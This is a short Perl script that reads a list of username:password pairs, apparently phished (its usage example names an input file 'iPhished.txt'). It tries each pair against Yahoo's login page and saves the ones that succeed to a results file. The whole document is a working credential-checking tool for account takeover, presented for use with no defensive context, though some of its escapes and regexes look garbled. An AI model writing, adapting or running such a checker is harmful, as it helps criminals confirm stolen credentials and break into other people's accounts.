#!/usr/bin/perl #Yahoo! LOGIN SPECS #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot] #PASSWORD: 6-32 characters, no spaces use HTTP::Cookies; $myCookies = HTTP::Cookies->new(); use LWP::UserAgent; my $ua = LWP::UserAgent->new; $ua->cookie_jar($myCookies); $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4'); push @{$ua->requests_redirectable}, 'POST'; sub usage{ print "[-] yahoo.pl <logins> (loginass format) <results>n"; print "[-] yahoo.pl iPhished.txt thanks.txtn"; die("[!] Incorrect usagen"); } sub yahoo($$){ my $username = $_[0]; my $password = $_[1]; my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password"; my $login = $ua->get($url); die("[!] Connection errorn") unless ($login->is_success); if($login->content =~ m/<strong>Invalid ID or password.</strong><br> Please try again.</div>/){ return 0; } elsif($login->content =~ m/<body>nIf you are seeing this page, your browser settings prevent you nfrom automatically redirecting to a new URL./){ return 1; } elsif($login->content =~ m/Unable to/){ die("[!] Yahoo killed you!n"); } } if(@ARGV!= 2){ &usage; } else{ my $loginlist = $ARGV[0]; my $resultlist = $ARGV[1]; open("xfile", $loginlist) || die "Couldn't open $loginlistn"; while(my $line = <xfile>){ chomp($line); if($line =~ m/[a-z0-9_.]@yahoo.com(.*?).+){6,32}$/i){ my @details = split(/:/,$line); print "[-] Checking $details[0] : $details[1]t"; if(yahoo($details[0],$details[1])){ print "Successn"; open(LOG,">>$resultlist") || die "Couldn't open $resultlistn"; print LOG "$details[0]:$details[1]n"; close(LOG); } else{ print "Failuren"; } } } }